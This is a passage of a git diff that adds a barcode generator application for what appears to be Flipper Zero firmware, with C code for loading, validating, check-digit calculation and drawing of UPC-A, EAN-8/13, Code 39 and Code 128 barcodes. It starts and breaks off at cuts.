fap_icon_assets="images", +) diff --git a/applications/external/barcode_gen/barcode_app.c b/applications/external/barcode_gen/barcode_app.c new file mode 100644 index 000000000..581c92fda --- /dev/null +++ b/applications/external/barcode_gen/barcode_app.c @@ -0,0 +1,342 @@ +#include "barcode_app.h" + +#include "barcode_app_icons.h" + +/** + * Opens a file browser dialog and returns the filepath of the selected file + * + * @param folder the folder to view when the browser opens + * @param file_path a string pointer for the file_path when a file is selected, + * file_path will be the folder path is nothing is selected + * @returns true if a file is selected +*/ +static bool select_file(const char* folder, FuriString* file_path) { + DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); + DialogsFileBrowserOptions browser_options; + dialog_file_browser_set_basic_options(&browser_options, BARCODE_EXTENSION, &I_barcode_10); + browser_options.base_path = DEFAULT_USER_BARCODES; + furi_string_set(file_path, folder); + + bool res = dialog_file_browser_show(dialogs, file_path, file_path, &browser_options); + + furi_record_close(RECORD_DIALOGS); + + return res; +} + +/** + * Reads the data from a file and stores them in the FuriStrings raw_type and raw_data +*/ +ErrorCode read_raw_data(FuriString* file_path, FuriString* raw_type, FuriString* raw_data) { + //Open Storage + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + + ErrorCode reason = OKCode; + + if(!flipper_format_file_open_existing(ff, furi_string_get_cstr(file_path))) { + FURI_LOG_E(TAG, "Could not open file %s", furi_string_get_cstr(file_path)); + reason = FileOpening; + } else { + if(!flipper_format_read_string(ff, "Type", raw_type)) { + FURI_LOG_E(TAG, "Could not read \"Type\" string"); + reason = InvalidFileData; + } + if(!flipper_format_read_string(ff, "Data", raw_data)) { + FURI_LOG_E(TAG, "Could not read \"Data\" string"); + reason = InvalidFileData; + } + } + + //Close Storage + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + return reason; +} + +/** + * Gets the file name from a file path + * @param file_path the file path + * @param file_name the FuriString to store the file name + * @param remove_extension true if the extension should be removed, otherwise false +*/ +bool get_file_name_from_path(FuriString* file_path, FuriString* file_name, bool remove_extension) { + if(file_path == NULL || file_name == NULL) { + return false; + } + uint slash_index = furi_string_search_rchar(file_path, '/', 0); + if(slash_index == FURI_STRING_FAILURE || slash_index >= (furi_string_size(file_path) - 1)) { + return false; + } + + furi_string_set(file_name, file_path); + furi_string_right(file_name, slash_index + 1); + if(remove_extension) { + uint ext_index = furi_string_search_rchar(file_name, '.', 0); + if(ext_index != FURI_STRING_FAILURE && ext_index < (furi_string_size(file_path))) { + furi_string_left(file_name, ext_index); + } + } + + return true; +} + +/** + * Creates the barcode folder +*/ +void init_folder() { + Storage* storage = furi_record_open(RECORD_STORAGE); + FURI_LOG_I(TAG, "Creating barcodes folder"); + if(storage_simply_mkdir(storage, DEFAULT_USER_BARCODES)) { + FURI_LOG_I(TAG, "Barcodes folder successfully created!"); + } else { + FURI_LOG_I(TAG, "Barcodes folder already exists."); + } + furi_record_close(RECORD_STORAGE); +} + +void select_barcode_item(BarcodeApp* app) { + FuriString* file_path = furi_string_alloc(); + FuriString* raw_type = furi_string_alloc(); + FuriString* raw_data = furi_string_alloc(); + + //this determines if the data was read correctly or if the + bool loaded_success = true; + ErrorCode reason = OKCode; + + bool file_selected = select_file(DEFAULT_USER_BARCODES, file_path); + if(file_selected) { + FURI_LOG_I(TAG, "The file selected is %s", furi_string_get_cstr(file_path)); + Barcode* barcode = app->barcode_view; + + reason = read_raw_data(file_path, raw_type, raw_data); + if(reason != OKCode) { + loaded_success = false; + FURI_LOG_E(TAG, "Could not read data correctly"); + } + + //Free the data from the previous barcode + barcode_free_model(barcode); + + with_view_model( + barcode->view, + BarcodeModel * model, + { + model->file_path = furi_string_alloc_set(file_path); + + model->data = malloc(sizeof(BarcodeData)); + model->data->valid = loaded_success; + + if(loaded_success) { + model->data->raw_data = furi_string_alloc_set(raw_data); + model->data->correct_data = furi_string_alloc(); + + model->data->type_obj = get_type(raw_type); + + barcode_loader(model->data); + } else { + model->data->reason = reason; + } + }, + true); + + view_dispatcher_switch_to_view(app->view_dispatcher, BarcodeView); + } + + furi_string_free(raw_type); + furi_string_free(raw_data); + furi_string_free(file_path); +} + +void edit_barcode_item(BarcodeApp* app) { + FuriString* file_path = furi_string_alloc(); + FuriString* file_name = furi_string_alloc(); + FuriString* raw_type = furi_string_alloc(); + FuriString* raw_data = furi_string_alloc(); + + //this determines if the data was read correctly or if the + ErrorCode reason = OKCode; + + bool file_selected = select_file(DEFAULT_USER_BARCODES, file_path); + if(file_selected) { + FURI_LOG_I(TAG, "The file selected is %s", furi_string_get_cstr(file_path)); + CreateView* create_view_object = app->create_view; + + reason = read_raw_data(file_path, raw_type, raw_data); + if(reason != OKCode) { + FURI_LOG_E(TAG, "Could not read data correctly"); + with_view_model( + app->message_view->view, + MessageViewModel * model, + { model->message = get_error_code_message(reason); }, + true); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, MessageErrorView); + + } else { + BarcodeTypeObj* type_obj = get_type(raw_type); + if(type_obj->type == UNKNOWN) { + type_obj = barcode_type_objs[0]; + } + get_file_name_from_path(file_path, file_name, true); + + create_view_free_model(create_view_object); + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + model->selected_menu_item = 0; + model->barcode_type = type_obj; + model->file_path = furi_string_alloc_set(file_path); + model->file_name = furi_string_alloc_set(file_name); + model->barcode_data = furi_string_alloc_set(raw_data); + model->mode = EditMode; + }, + true); + view_dispatcher_switch_to_view(app->view_dispatcher, CreateBarcodeView); + } + } + + furi_string_free(raw_type); + furi_string_free(raw_data); + furi_string_free(file_name); + furi_string_free(file_path); +} + +void create_barcode_item(BarcodeApp* app) { + CreateView* create_view_object = app->create_view; + + create_view_free_model(create_view_object); + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + model->selected_menu_item = 0; + model->barcode_type = barcode_type_objs[0]; + model->file_path = furi_string_alloc(); + model->file_name = furi_string_alloc(); + model->barcode_data = furi_string_alloc(); + model->mode = NewMode; + }, + true); + view_dispatcher_switch_to_view(app->view_dispatcher, CreateBarcodeView); +} + +void submenu_callback(void* context, uint32_t index) { + furi_assert(context); + + BarcodeApp* app = context; + + if(index == SelectBarcodeItem) { + select_barcode_item(app); + } else if(index == EditBarcodeItem) { + edit_barcode_item(app); + } else if(index == CreateBarcodeItem) { + create_barcode_item(app); + } +} + +uint32_t main_menu_callback(void* context) { + UNUSED(context); + return MainMenuView; +} + +uint32_t exit_callback(void* context) { + UNUSED(context); + return VIEW_NONE; +} + +void free_app(BarcodeApp* app) { + FURI_LOG_I(TAG, "Freeing Data"); + + init_folder(); + free_types(); + + view_dispatcher_remove_view(app->view_dispatcher, TextInputView); + text_input_free(app->text_input); + + view_dispatcher_remove_view(app->view_dispatcher, MessageErrorView); + message_view_free(app->message_view); + + view_dispatcher_remove_view(app->view_dispatcher, MainMenuView); + submenu_free(app->main_menu); + + view_dispatcher_remove_view(app->view_dispatcher, CreateBarcodeView); + create_view_free(app->create_view); + + view_dispatcher_remove_view(app->view_dispatcher, BarcodeView); + barcode_free(app->barcode_view); + + //free the dispatcher + view_dispatcher_free(app->view_dispatcher); + + furi_message_queue_free(app->event_queue); + + furi_record_close(RECORD_GUI); + app->gui = NULL; + + free(app); +} + +int32_t barcode_main(void* p) { + UNUSED(p); + BarcodeApp* app = malloc(sizeof(BarcodeApp)); + init_types(); + app->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + + // Register view port in GUI + app->gui = furi_record_open(RECORD_GUI); + + app->view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(app->view_dispatcher); + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + app->main_menu = submenu_alloc(); + submenu_add_item(app->main_menu, "Load Barcode", SelectBarcodeItem, submenu_callback, app); + view_set_previous_callback(submenu_get_view(app->main_menu), exit_callback); + view_dispatcher_add_view(app->view_dispatcher, MainMenuView, submenu_get_view(app->main_menu)); + + submenu_add_item(app->main_menu, "Edit Barcode", EditBarcodeItem, submenu_callback, app); + + /***************************** + * Creating Text Input View + ******************************/ + app->text_input = text_input_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, TextInputView, text_input_get_view(app->text_input)); + + /***************************** + * Creating Message View + ******************************/ + app->message_view = message_view_allocate(app); + view_dispatcher_add_view( + app->view_dispatcher, MessageErrorView, message_get_view(app->message_view)); + + /***************************** + * Creating Create View + ******************************/ + app->create_view = create_view_allocate(app); + submenu_add_item(app->main_menu, "Create Barcode", CreateBarcodeItem, submenu_callback, app); + view_set_previous_callback(create_get_view(app->create_view), main_menu_callback); + view_dispatcher_add_view( + app->view_dispatcher, CreateBarcodeView, create_get_view(app->create_view)); + + /***************************** + * Creating Barcode View + ******************************/ + app->barcode_view = barcode_view_allocate(app); + view_set_previous_callback(barcode_get_view(app->barcode_view), main_menu_callback); + view_dispatcher_add_view( + app->view_dispatcher, BarcodeView, barcode_get_view(app->barcode_view)); + + //switch view to submenu and run dispatcher + view_dispatcher_switch_to_view(app->view_dispatcher, MainMenuView); + view_dispatcher_run(app->view_dispatcher); + + free_app(app); + + return 0; +} diff --git a/applications/external/barcode_gen/barcode_app.h b/applications/external/barcode_gen/barcode_app.h new file mode 100644 index 000000000..31c805a69 --- /dev/null +++ b/applications/external/barcode_gen/barcode_app.h @@ -0,0 +1,87 @@ +#pragma once +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "barcode_utils.h" + +#define TAG "BARCODE" +#define VERSION "1.0" +#define FILE_VERSION "1" + +#define TEXT_BUFFER_SIZE 128 + +#define BARCODE_HEIGHT 50 +#define BARCODE_Y_START 3 + +#define APPS_DATA EXT_PATH("apps_data") + +//the folder where the encodings are located +#define BARCODE_DATA_FILE_DIR_PATH APPS_DATA "/barcode_data" + +//the folder where the code 39 encoding table is located +#define CODE39_DICT_FILE_PATH BARCODE_DATA_FILE_DIR_PATH "/code39_encodings.txt" + +//the folder where the code 128 encoding table is located +#define CODE128_DICT_FILE_PATH BARCODE_DATA_FILE_DIR_PATH "/code128_encodings.txt" + +//the folder where the user stores their barcodes +#define DEFAULT_USER_BARCODES EXT_PATH("barcodes") + +//The extension barcode files use +#define BARCODE_EXTENSION ".barcode" +#define BARCODE_EXTENSION_LENGTH 8 + +#include "views/barcode_view.h" +#include "views/create_view.h" +#include "views/message_view.h" +#include "barcode_validator.h" + +typedef struct BarcodeApp BarcodeApp; + +struct BarcodeApp { + Submenu* main_menu; + ViewDispatcher* view_dispatcher; + Gui* gui; + + FuriMessageQueue* event_queue; + + CreateView* create_view; + Barcode* barcode_view; + + MessageView* message_view; + TextInput* text_input; +}; + +enum SubmenuItems { + SelectBarcodeItem, + EditBarcodeItem, + + CreateBarcodeItem +}; + +enum Views { + TextInputView, + MessageErrorView, + MainMenuView, + CreateBarcodeView, + + BarcodeView +}; + +void submenu_callback(void* context, uint32_t index); + +uint32_t main_menu_callback(void* context); + +uint32_t exit_callback(void* context); + +int32_t barcode_main(void* p); \ No newline at end of file diff --git a/applications/external/barcode_gen/barcode_utils.c b/applications/external/barcode_gen/barcode_utils.c new file mode 100644 index 000000000..0a4770045 --- /dev/null +++ b/applications/external/barcode_gen/barcode_utils.c @@ -0,0 +1,125 @@ +#include "barcode_utils.h" + +BarcodeTypeObj* barcode_type_objs[NUMBER_OF_BARCODE_TYPES] = {NULL}; + +void init_types() { + BarcodeTypeObj* upc_a = malloc(sizeof(BarcodeTypeObj)); + upc_a->name = "UPC-A"; + upc_a->type = UPCA; + upc_a->min_digits = 11; + upc_a->max_digits = 12; + upc_a->start_pos = 16; + barcode_type_objs[UPCA] = upc_a; + + BarcodeTypeObj* ean_8 = malloc(sizeof(BarcodeTypeObj)); + ean_8->name = "EAN-8"; + ean_8->type = EAN8; + ean_8->min_digits = 7; + ean_8->max_digits = 8; + ean_8->start_pos = 32; + barcode_type_objs[EAN8] = ean_8; + + BarcodeTypeObj* ean_13 = malloc(sizeof(BarcodeTypeObj)); + ean_13->name = "EAN-13"; + ean_13->type = EAN13; + ean_13->min_digits = 12; + ean_13->max_digits = 13; + ean_13->start_pos = 16; + barcode_type_objs[EAN13] = ean_13; + + BarcodeTypeObj* code_39 = malloc(sizeof(BarcodeTypeObj)); + code_39->name = "CODE-39"; + code_39->type = CODE39; + code_39->min_digits = 1; + code_39->max_digits = -1; + code_39->start_pos = 0; + barcode_type_objs[CODE39] = code_39; + + BarcodeTypeObj* code_128 = malloc(sizeof(BarcodeTypeObj)); + code_128->name = "CODE-128"; + code_128->type = CODE128; + code_128->min_digits = 1; + code_128->max_digits = -1; + code_128->start_pos = 0; + barcode_type_objs[CODE128] = code_128; + + BarcodeTypeObj* unknown = malloc(sizeof(BarcodeTypeObj)); + unknown->name = "Unknown"; + unknown->type = UNKNOWN; + unknown->min_digits = 0; + unknown->max_digits = 0; + unknown->start_pos = 0; + barcode_type_objs[UNKNOWN] = unknown; +} + +void free_types() { + for(int i = 0; i < NUMBER_OF_BARCODE_TYPES; i++) { + free(barcode_type_objs[i]); + } +} + +BarcodeTypeObj* get_type(FuriString* type_string) { + if(furi_string_cmp_str(type_string, "UPC-A") == 0) { + return barcode_type_objs[UPCA]; + } + if(furi_string_cmp_str(type_string, "EAN-8") == 0) { + return barcode_type_objs[EAN8]; + } + if(furi_string_cmp_str(type_string, "EAN-13") == 0) { + return barcode_type_objs[EAN13]; + } + if(furi_string_cmp_str(type_string, "CODE-39") == 0) { + return barcode_type_objs[CODE39]; + } + if(furi_string_cmp_str(type_string, "CODE-128") == 0) { + return barcode_type_objs[CODE128]; + } + + return barcode_type_objs[UNKNOWN]; +} + +const char* get_error_code_name(ErrorCode error_code) { + switch(error_code) { + case WrongNumberOfDigits: + return "Wrong Number Of Digits"; + case InvalidCharacters: + return "Invalid Characters"; + case UnsupportedType: + return "Unsupported Type"; + case FileOpening: + return "File Opening Error"; + case InvalidFileData: + return "Invalid File Data"; + case MissingEncodingTable: + return "Missing Encoding Table"; + case EncodingTableError: + return "Encoding Table Error"; + case OKCode: + return "OK"; + default: + return "Unknown Code"; + }; +} + +const char* get_error_code_message(ErrorCode error_code) { + switch(error_code) { + case WrongNumberOfDigits: + return "Wrong # of characters"; + case InvalidCharacters: + return "Invalid characters"; + case UnsupportedType: + return "Unsupported barcode type"; + case FileOpening: + return "Could not open file"; + case InvalidFileData: + return "Invalid file data"; + case MissingEncodingTable: + return "Missing encoding table"; + case EncodingTableError: + return "Encoding table error"; + case OKCode: + return "OK"; + default: + return "Could not read barcode data"; + }; +} \ No newline at end of file diff --git a/applications/external/barcode_gen/barcode_utils.h b/applications/external/barcode_gen/barcode_utils.h new file mode 100644 index 000000000..212923a89 --- /dev/null +++ b/applications/external/barcode_gen/barcode_utils.h @@ -0,0 +1,53 @@ + +#pragma once +#include +#include + +#define NUMBER_OF_BARCODE_TYPES 6 + +typedef enum { + WrongNumberOfDigits, //There is too many or too few digits in the barcode + InvalidCharacters, //The barcode contains invalid characters + UnsupportedType, //the barcode type is not supported + FileOpening, //A problem occurred when opening the barcode data file + InvalidFileData, //One of the key in the file doesn't exist or there is a typo + MissingEncodingTable, //The encoding table txt for the barcode type is missing + EncodingTableError, //Something is wrong with the encoding table, probably missing data or typo + OKCode +} ErrorCode; + +typedef enum { + UPCA, + EAN8, + EAN13, + CODE39, + CODE128, + + UNKNOWN +} BarcodeType; + +typedef struct { + char* name; //The name of the barcode type + BarcodeType type; //The barcode type enum + int min_digits; //the minimum number of digits + int max_digits; //the maximum number of digits + int start_pos; //where to start drawing the barcode, set to -1 to dynamically draw barcode +} BarcodeTypeObj; + +typedef struct { + BarcodeTypeObj* type_obj; + int check_digit; //A place to store the check digit + FuriString* raw_data; //the data directly from the file + FuriString* correct_data; //the corrected/processed data + bool valid; //true if the raw data is correctly formatted, such as correct num of digits, valid characters, etc. + ErrorCode reason; //the reason why this barcode is invalid +} BarcodeData; + +//All available barcode types +extern BarcodeTypeObj* barcode_type_objs[NUMBER_OF_BARCODE_TYPES]; + +void init_types(); +void free_types(); +BarcodeTypeObj* get_type(FuriString* type_string); +const char* get_error_code_name(ErrorCode error_code); +const char* get_error_code_message(ErrorCode error_code); \ No newline at end of file diff --git a/applications/external/barcode_gen/barcode_validator.c b/applications/external/barcode_gen/barcode_validator.c new file mode 100644 index 000000000..6cb3eec4c --- /dev/null +++ b/applications/external/barcode_gen/barcode_validator.c @@ -0,0 +1,344 @@ +#include "barcode_validator.h" + +void barcode_loader(BarcodeData* barcode_data) { + switch(barcode_data->type_obj->type) { + case UPCA: + case EAN8: + case EAN13: + ean_upc_loader(barcode_data); + break; + case CODE39: + code_39_loader(barcode_data); + break; + case CODE128: + code_128_loader(barcode_data); + break; + case UNKNOWN: + barcode_data->reason = UnsupportedType; + barcode_data->valid = false; + default: + break; + } +} + +/** + * Calculates the check digit of a barcode if they have one + * @param barcode_data the barcode data + * @returns a check digit or -1 for either an invalid +*/ +int calculate_check_digit(BarcodeData* barcode_data) { + int check_digit = -1; + switch(barcode_data->type_obj->type) { + case UPCA: + case EAN8: + case EAN13: + check_digit = calculate_ean_upc_check_digit(barcode_data); + break; + case CODE39: + case CODE128: + case UNKNOWN: + default: + break; + } + + return check_digit; +} + +/** + * Calculates the check digit of barcode types UPC-A, EAN-8, & EAN-13 +*/ +int calculate_ean_upc_check_digit(BarcodeData* barcode_data) { + int check_digit = 0; + int odd = 0; + int even = 0; + + int length = barcode_data->type_obj->min_digits; + + //Get sum of odd digits + for(int i = 0; i < length; i += 2) { + odd += furi_string_get_char(barcode_data->raw_data, i) - '0'; + } + + //Get sum of even digits + for(int i = 1; i < length; i += 2) { + even += furi_string_get_char(barcode_data->raw_data, i) - '0'; + } + + if(barcode_data->type_obj->type == EAN13) { + check_digit = even * 3 + odd; + } else { + check_digit = odd * 3 + even; + } + + check_digit = check_digit % 10; + + return (10 - check_digit) % 10; +} + +/** + * Loads and validates Barcode Types EAN-8, EAN-13, and UPC-A + * barcode_data and its strings should already be allocated; +*/ +void ean_upc_loader(BarcodeData* barcode_data) { + int barcode_length = furi_string_size(barcode_data->raw_data); + + int min_digits = barcode_data->type_obj->min_digits; + int max_digit = barcode_data->type_obj->max_digits; + + //check the length of the barcode + if(barcode_length < min_digits || barcode_length > max_digit) { + barcode_data->reason = WrongNumberOfDigits; + barcode_data->valid = false; + return; + } + + //checks if the barcode contains any characters that aren't a number + for(int i = 0; i < barcode_length; i++) { + char character = furi_string_get_char(barcode_data->raw_data, i); + int digit = character - '0'; //convert the number into an int (also the index) + if(digit < 0 || digit > 9) { + barcode_data->reason = InvalidCharacters; + barcode_data->valid = false; + return; + } + } + + int check_digit = calculate_check_digit(barcode_data); + char check_digit_char = check_digit + '0'; + + barcode_data->check_digit = check_digit; + + //if the barcode length is at max length then we will verify if the check digit is correct + if(barcode_length == max_digit) { + //append the raw_data to the correct data string + furi_string_cat(barcode_data->correct_data, barcode_data->raw_data); + + //append the check digit to the correct data string + furi_string_set_char(barcode_data->correct_data, min_digits, check_digit_char); + } + //if the barcode length is at min length, we will calculate the check digit + if(barcode_length == min_digits) { + //append the raw_data to the correct data string + furi_string_cat(barcode_data->correct_data, barcode_data->raw_data); + + //append the check digit to the correct data string + furi_string_push_back(barcode_data->correct_data, check_digit_char); + } +} + +void code_39_loader(BarcodeData* barcode_data) { + int barcode_length = furi_string_size(barcode_data->raw_data); + + int min_digits = barcode_data->type_obj->min_digits; + // int max_digit = barcode_data->type_obj->max_digits; + + //check the length of the barcode, must contain atleast a character, + //this can have as many characters as it wants, it might not fit on the screen + if(barcode_length < min_digits) { + barcode_data->reason = WrongNumberOfDigits; + barcode_data->valid = false; + return; + } + + FuriString* barcode_bits = furi_string_alloc(); + FuriString* temp_string = furi_string_alloc(); + + //add starting and ending * + if(!furi_string_start_with(barcode_data->raw_data, "*")) { + furi_string_push_back(temp_string, '*'); + furi_string_cat(temp_string, barcode_data->raw_data); + furi_string_set(barcode_data->raw_data, temp_string); + } + + if(!furi_string_end_with(barcode_data->raw_data, "*")) { + furi_string_push_back(barcode_data->raw_data, '*'); + } + + furi_string_free(temp_string); + barcode_length = furi_string_size(barcode_data->raw_data); + + //Open Storage + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(ff, CODE39_DICT_FILE_PATH)) { + FURI_LOG_E(TAG, "Could not open file %s", CODE39_DICT_FILE_PATH); + barcode_data->reason = MissingEncodingTable; + barcode_data->valid = false; + } else { + FuriString* char_bits = furi_string_alloc(); + for(int i = 0; i < barcode_length; i++) { + char barcode_char = toupper(furi_string_get_char(barcode_data->raw_data, i)); + + //convert a char into a string so it used in flipper_format_read_string + char current_character[2]; + snprintf(current_character, 2, "%c", barcode_char); + + if(!flipper_format_read_string(ff, current_character, char_bits)) { + FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); + barcode_data->reason = InvalidCharacters; + barcode_data->valid = false; + break; + } else { + FURI_LOG_I( + TAG, "\"%c\" string: %s", barcode_char, furi_string_get_cstr(char_bits)); + furi_string_cat(barcode_bits, char_bits); + } + flipper_format_rewind(ff); + } + furi_string_free(char_bits); + } + + //Close Storage + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + furi_string_cat(barcode_data->correct_data, barcode_bits); + furi_string_free(barcode_bits); +} + +/** + * Loads a code 128 barcode + * + * Only supports character set B +*/ +void code_128_loader(BarcodeData* barcode_data) { + int barcode_length = furi_string_size(barcode_data->raw_data); + + //the start code for character set B + int start_code_value = 104; + + //The bits for the start code + const char* start_code_bits = "11010010000"; + + //The bits for the stop code + const char* stop_code_bits = "1100011101011"; + + int min_digits = barcode_data->type_obj->min_digits; + // int max_digit = barcode_data->type_obj->max_digits; + + /** + * A sum of all of the characters values + * Ex: + * Barcode Data : ABC + * A has a value of 33 + * B has a value of 34 + * C has a value of 35 + * + * the checksum_adder would be (33 * 1) + (34 * 2) + (35 * 3) + 104 = 310 + * + * Add 104 since we are using set B + */ + int checksum_adder = start_code_value; + /** + * Checksum digits is the number of characters it has read so far + * In the above example the checksum_digits would be 3 + */ + int checksum_digits = 0; + + //the calculated check digit + int final_check_digit = 0; + + //check the length of the barcode, must contain atleast a character, + //this can have as many characters as it wants, it might not fit on the screen + if(barcode_length < min_digits) { + barcode_data->reason = WrongNumberOfDigits; + barcode_data->valid = false; + return; + } + + //Open Storage + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* ff = flipper_format_file_alloc(storage); + + FuriString* barcode_bits = furi_string_alloc(); + + //add the start code + furi_string_cat(barcode_bits, start_code_bits); + + if(!flipper_format_file_open_existing(ff, CODE128_DICT_FILE_PATH)) { + FURI_LOG_E(TAG, "Could not open file %s", CODE128_DICT_FILE_PATH); + barcode_data->reason = MissingEncodingTable; + barcode_data->valid = false; + } else { + FuriString* value = furi_string_alloc(); + FuriString* char_bits = furi_string_alloc(); + for(int i = 0; i < barcode_length; i++) { + char barcode_char = furi_string_get_char(barcode_data->raw_data, i); + + //convert a char into a string so it used in flipper_format_read_string + char current_character[2]; + snprintf(current_character, 2, "%c", barcode_char); + + //get the value of the character + if(!flipper_format_read_string(ff, current_character, value)) { + FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); + barcode_data->reason = InvalidCharacters; + barcode_data->valid = false; + break; + } + //using the value of the character, get the characters bits + if(!flipper_format_read_string(ff, furi_string_get_cstr(value), char_bits)) { + FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); + barcode_data->reason = EncodingTableError; + barcode_data->valid = false; + break; + } else { + //add the bits to the full barcode + furi_string_cat(barcode_bits, char_bits); + + //calculate the checksum + checksum_digits += 1; + checksum_adder += (atoi(furi_string_get_cstr(value)) * checksum_digits); + + FURI_LOG_D( + TAG, + "\"%c\" string: %s : %s : %d : %d : %d", + barcode_char, + furi_string_get_cstr(char_bits), + furi_string_get_cstr(value), + checksum_digits, + (atoi(furi_string_get_cstr(value)) * checksum_digits), + checksum_adder); + } + //bring the file pointer back to the beginning + flipper_format_rewind(ff); + } + + //calculate the check digit and convert it into a c string for lookup in the encoding table + final_check_digit = checksum_adder % 103; + int length = snprintf(NULL, 0, "%d", final_check_digit); + char* final_check_digit_string = malloc(length + 1); + snprintf(final_check_digit_string, length + 1, "%d", final_check_digit); + + //after the checksum has been calculated, add the bits to the full barcode + if(!flipper_format_read_string(ff, final_check_digit_string, char_bits)) { + FURI_LOG_E(TAG, "Could not read \"%s\" string", final_check_digit_string); + barcode_data->reason = EncodingTableError; + barcode_data->valid = false; + } else { + //add the check digit bits to the full barcode + furi_string_cat(barcode_bits, char_bits); + + FURI_LOG_D( + TAG, + "\"%s\" string: %s", + final_check_digit_string, + furi_string_get_cstr(char_bits)); + } + + free(final_check_digit_string); + furi_string_free(value); + furi_string_free(char_bits); + } + + //add the stop code + furi_string_cat(barcode_bits, stop_code_bits); + + //Close Storage + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + furi_string_cat(barcode_data->correct_data, barcode_bits); + furi_string_free(barcode_bits); +} diff --git a/applications/external/barcode_gen/barcode_validator.h b/applications/external/barcode_gen/barcode_validator.h new file mode 100644 index 000000000..962d14729 --- /dev/null +++ b/applications/external/barcode_gen/barcode_validator.h @@ -0,0 +1,13 @@ +#pragma once + +#include "barcode_app.h" + +int calculate_check_digit(BarcodeData* barcode_data); +int calculate_ean_upc_check_digit(BarcodeData* barcode_data); +void ean_upc_loader(BarcodeData* barcode_data); +void upc_a_loader(BarcodeData* barcode_data); +void ean_8_loader(BarcodeData* barcode_data); +void ean_13_loader(BarcodeData* barcode_data); +void code_39_loader(BarcodeData* barcode_data); +void code_128_loader(BarcodeData* barcode_data); +void barcode_loader(BarcodeData* barcode_data); \ No newline at end of file diff --git a/applications/external/barcode_gen/encodings.c b/applications/external/barcode_gen/encodings.c new file mode 100644 index 000000000..764fde796 --- /dev/null +++ b/applications/external/barcode_gen/encodings.c @@ -0,0 +1,52 @@ +#include "encodings.h" + +const char EAN_13_STRUCTURE_CODES[10][6] = { + "LLLLLL", + "LLGLGG", + "LLGGLG", + "LLGGGL", + "LGLLGG", + "LGGLLG", + "LGGGLL", + "LGLGLG", + "LGLGGL", + "LGGLGL"}; + +const char UPC_EAN_L_CODES[10][8] = { + "0001101", // 0 + "0011001", // 1 + "0010011", // 2 + "0111101", // 3 + "0100011", // 4 + "0110001", // 5 + "0101111", // 6 + "0111011", // 7 + "0110111", // 8 + "0001011" // 9 +}; + +const char EAN_G_CODES[10][8] = { + "0100111", // 0 + "0110011", // 1 + "0011011", // 2 + "0100001", // 3 + "0011101", // 4 + "0111001", // 5 + "0000101", // 6 + "0010001", // 7 + "0001001", // 8 + "0010111" // 9 +}; + +const char UPC_EAN_R_CODES[10][8] = { + "1110010", // 0 + "1100110", // 1 + "1101100", // 2 + "1000010", // 3 + "1011100", // 4 + "1001110", // 5 + "1010000", // 6 + "1000100", // 7 + "1001000", // 8 + "1110100" // 9 +}; \ No newline at end of file diff --git a/applications/external/barcode_gen/encodings.h b/applications/external/barcode_gen/encodings.h new file mode 100644 index 000000000..c5b8d61ff --- /dev/null +++ b/applications/external/barcode_gen/encodings.h @@ -0,0 +1,6 @@ +#pragma once + +extern const char EAN_13_STRUCTURE_CODES[10][6]; +extern const char UPC_EAN_L_CODES[10][8]; +extern const char EAN_G_CODES[10][8]; +extern const char UPC_EAN_R_CODES[10][8]; \ No newline at end of file diff --git a/applications/external/barcode_gen/images/barcode_10.png b/applications/external/barcode_gen/images/barcode_10.png new file mode 100644 index 000000000..32d4971ad Binary files /dev/null and b/applications/external/barcode_gen/images/barcode_10.png differ diff --git a/applications/external/barcode_gen/views/barcode_view.c b/applications/external/barcode_gen/views/barcode_view.c new file mode 100644 index 000000000..afd727b63 --- /dev/null +++ b/applications/external/barcode_gen/views/barcode_view.c @@ -0,0 +1,444 @@ +#include "../barcode_app.h" +#include "barcode_view.h" +#include "../encodings.h" + +/** + * @brief Draws a single bit from a barcode at a specified location + * @param canvas + * @param bit a 1 or a 0 to signify a bit of data + * @param x the top left x coordinate + * @param y the top left y coordinate + * @param width the width of the bit + * @param height the height of the bit + */ +static void draw_bit(Canvas* canvas, int bit, int x, int y, int width, int height) { + if(bit == 1) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_box(canvas, x, y, width, height); +} + +/** + * +*/ +static void draw_error_str(Canvas* canvas, const char* error) { + canvas_clear(canvas); + canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); +} + +/** + * @param bits a string of 1's and 0's + * @returns the x coordinate after the bits have been drawn, useful for drawing the next section of bits +*/ +static int draw_bits(Canvas* canvas, const char* bits, int x, int y, int width, int height) { + int bits_length = strlen(bits); + for(int i = 0; i < bits_length; i++) { + char c = bits[i]; + int num = c - '0'; + + draw_bit(canvas, num, x, y, width, height); + + x += width; + } + return x; +} + +/** + * Draws an EAN-8 type barcode, does not check if the barcode is valid + * @param canvas the canvas + * @param barcode_digits the digits in the barcode, must be 8 characters long +*/ +static void draw_ean_8(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* barcode_digits = barcode_data->correct_data; + BarcodeTypeObj* type_obj = barcode_data->type_obj; + + int barcode_length = furi_string_size(barcode_digits); + + int x = type_obj->start_pos; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + + //the guard patterns for the beginning, center, ending + const char* end_bits = "101"; + const char* center_bits = "01010"; + + //draw the starting guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); + + FuriString* code_part = furi_string_alloc(); + + //loop through each digit, find the encoding, and draw it + for(int i = 0; i < barcode_length; i++) { + char current_digit 